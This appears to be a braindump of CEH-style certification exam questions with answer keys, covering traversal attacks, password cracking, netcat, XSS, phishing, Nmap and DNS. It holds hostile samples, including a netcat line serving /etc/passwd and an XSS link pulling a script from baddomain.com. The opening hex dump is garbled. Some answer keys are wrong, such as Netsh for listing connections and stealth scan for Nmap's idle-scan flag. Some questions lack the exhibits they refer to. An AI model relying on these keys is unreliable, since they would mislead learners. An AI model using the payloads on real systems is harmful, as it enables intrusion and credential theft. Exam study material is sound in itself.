6C 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6D l, application/m
73 77 6F 72 64 2C 20 61 70 70 6C 69 63 61 74 69 sword, applicati
6F 6E 2F 76 6E 64 2E 6D 73 2D 70 6F 77 65 72 70 on/vnd.ms-powerp
6F 69 6E 74 2C 20 2A 2F 2A OD OA 41 63 63 65 70 oint, =/=..Accep
74 2D 4C 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 ozilla/age: en-u
73 OD OA 62 6C 65 3B 20 4D 53 49 45 20 35 2E 30 atible;pt-EncodD
6E 67 3A 57 69 6E 64 6F 77 73 20 39 35 29 OD OA l; Windo, deflat
65 OD OA 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D e..User-Agent: M
6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 ozilla/4.0 (comp
61 74 69 62 6C 65 3B 20 4D 53 49 45 20 35 2E 30 atible; MSIE 5.0
31 3B 20 57 69 6E 64 6F 77 73 20 39 35 29 OD OA l; Windows 95)..
48 6F 73 74 3A 20 6C 61 62 2E 77 69 72 65 74 72 Host: lib.bvxttr
69 70 2E 6E 65 74 OD OA 43 6F 6E 6E 65 63 74 69 ip.org..Connecti
6F 6E 3A 2D 4B 65 65 70 2D 41 6C 69 76 65 OD OA on: Keep-Alive..
43 6F 6F 68 69 65 3A 20 41 53 50 53 45 53 53 49 Cookie: ASPSESSI
4F 4E 49 44 47 51 51 51 51 51 5A 55 3D 4B 4E 4F ONIDGQQQQZU=KNO
48 4D 4F 4A 41 4B 50 46 4F 50 48 4D 4C 41 50 4E HMOJAKPFOPHMLAPN
49 46 49 46 42 OD OA OD OA 41 50 4E 49 46 49 46 IFIFB...APNIFIF
42 OD OA OD OA B....
```

- A. Hexcode Attack
- B. Cross Site Scripting
- C. Multiple Domain Traversal Attack
- D. Unicode Directory Traversal Attack

Answer: D

**NEW QUESTION 684**

- (Exam Topic 7)

You have retrieved the raw hash values from a Windows 2000 Domain Controller. Using social engineering, you come to know that they are enforcing strong passwords. You understand that all users are required to use passwords that are at least 8 characters in length. All passwords must also use 3 of the 4 following categories: lower case letters, capital letters, numbers and special characters. With your existing knowledge of users, likely user account names and the possibility that they will choose the easiest passwords possible, what would be the fastest type of password cracking attack you can run against these hash values and still get results?

- A. Online Attack
- B. Dictionary Attack
- C. Brute Force Attack
- D. Hybrid Attack

Answer: D

**NEW QUESTION 687**

- (Exam Topic 7)

What does the following command in netcat do? nc -l -u -p55555 < /etc/passwd

- A. logs the incoming connections to /etc/passwd file
- B. loads the /etc/passwd file to the UDP port 55555
- C. grabs the /etc/passwd file when connected to UDP port 55555
- D. deletes the /etc/passwd file when connected to the UDP port 55555

Answer: C

**NEW QUESTION 691**

- (Exam Topic 7)

This is an attack that takes advantage of a web site vulnerability in which the site displays content that includes un-sanitized user-provided data.

```
<a href="http://foobar.com/index.html?id=%3Cscript%20src=%22
http://baddomain.com/badscript.js %22%3E%3C/script%3E">See foobar</a>
```

What is this attack?

- A. Cross-site-scripting attack
- B. SQL Injection
- C. URL Traversal attack
- D. Buffer Overflow attack

**Answer: A**

**NEW QUESTION 692**

- (Exam Topic 7)

Which command can be used to show the current TCP/IP connections?

- A. Netsh
- B. Netstat
- C. Net use connection
- D. Net use

**Answer: A**

**NEW QUESTION 694**

- (Exam Topic 7)

The network administrator at Spears Technology, Inc has configured the default gateway Cisco router's access-list as below:

You are hired to conduct security testing on their network.

You successfully brute-force the SNMP community string using a SNMP crack tool.

The access-list configured at the router prevents you from establishing a successful connection.

You want to retrieve the Cisco configuration from the router. How would you proceed?

- A. Use the Cisco's TFTP default password to connect and download the configuration file
- B. Run a network sniffer and capture the returned traffic with the configuration file from the router
- C. Run Generic Routing Encapsulation (GRE) tunneling protocol from your computer to the router masking your IP address
- D. Send a customized SNMP set request with a spoofed source IP address in the range -192.168.1.0

**Answer: BD**

**NEW QUESTION 697**

- (Exam Topic 7)

You receive an e-mail like the one shown below. When you click on the link contained in the mail, you are redirected to a website seeking you to download free Anti-Virus software.

Dear valued customers,

We are pleased to announce the newest version of Antivirus 2010 for Windows which will probe you with total security against the latest spyware, malware, viruses, Trojans and other online threats. Simply visit the link below and enter your antivirus code:

```
Antivirus code: 5014
http://www.juggyboy/virus/virus.html
Thank you for choosing us, the worldwide leader Antivirus solutions.
Mike Robertson
PDF Reader Support
Copyright Antivirus 2010 ?All rights reserved
If you want to stop receiving mail, please go to:
http://www.juggyboy.com
```

or you may contact us at the following address: Media Internet Consultants, Edif. Neptuno, Planta Baja, Ave. Ricardo J. Alfaro, Tumba Muerto, n/a Panama

How will you determine if this is Real Anti-Virus or Fake Anti-Virus website?

- A. Look at the website design, if it looks professional then it is a Real Anti-Virus website
- B. Connect to the site using SSL, if you are successful then the website is genuine
- C. Search using the URL and Anti-Virus product name into Google and lookout for suspicious warnings against this site
- D. Download and install Anti-Virus software from this suspicious looking site, your Windows 7 will prompt you and stop the installation if the downloaded file is a malware
- E. Download and install Anti-Virus software from this suspicious looking site, your Windows 7 will prompt you and stop the installation if the downloaded file is a malware

**Answer: C**

**NEW QUESTION 702**

- (Exam Topic 7)

The tools which receive event logs from servers, network equipment, and applications, and perform analysis and correlation on those logs, and can generate alarms for security relevant issues, are known as what?

- A. network Sniffer
- B. Vulnerability Scanner
- C. Intrusion prevention Server
- D. Security incident and event Monitoring

**Answer: D**

#### **NEW QUESTION 707**

- (Exam Topic 7)

Based on the following extract from the log of a compromised machine, what is the hacker really trying to steal?

- A. har.txt
- B. SAM file
- C. wwwroot
- D. Repair file

**Answer: B**

#### **NEW QUESTION 711**

- (Exam Topic 7)

A zone file consists of which of the following Resource Records (RRs)?

- A. DNS, NS, AXFR, and MX records
- B. DNS, NS, PTR, and MX records
- C. SOA, NS, AXFR, and MX records
- D. SOA, NS, A, and MX records

**Answer: D**

#### **NEW QUESTION 715**

- (Exam Topic 7)

While scanning with Nmap, Patin found several hosts which have the IP ID of incremental sequences. He then decided to conduct: `nmap -Pn -p- -si kiosk.adobe.com www.riaa.com. kiosk.adobe.com` is the host with incremental IP ID sequence. What is the purpose of using "-si" with Nmap?

- A. Conduct stealth scan
- B. Conduct ICMP scan
- C. Conduct IDLE scan
- D. Conduct silent scan

**Answer: A**

#### **NEW QUESTION 718**

- (Exam Topic 7)

OpenSSL on Linux servers includes a command line tool for testing TLS. What is the name of the tool and the correct syntax to connect to a web server?

- A. `openssl s_client -site www.website.com:443`
- B. `openssl_client -site www.website.com:443`
- C. `openssl s_client -connect www.website.com:443`
- D. `openssl_client -connect www.website.com:443`

**Answer: C**

#### **NEW QUESTION 723**

- (Exam Topic 7)

You are analysing traffic on the network with Wireshark. You want to routinely run a cron job which will run the capture against a specific set of IPs - 192.168.8.0/24. What command you would use?

- A. `wireshark --fetch "192.168.8**"`
- B. `wireshark --capture --local masked 192.168.8.0 ---range 24`
- C. `tshark -net 192.255.255.255 mask 192.168.8.0`
- D. `sudo tshark -f"net 192 .68.8.0/24"`

**Answer: D**

#### **NEW QUESTION 725**

- (Exam Topic 7)

Which DNS resource record can indicate how long any "DNS poisoning" could last?

- A. MX
- B. SOA
- C. NS
- D. TIMEOUT

**Answer: B**

#### **NEW QUESTION 730**

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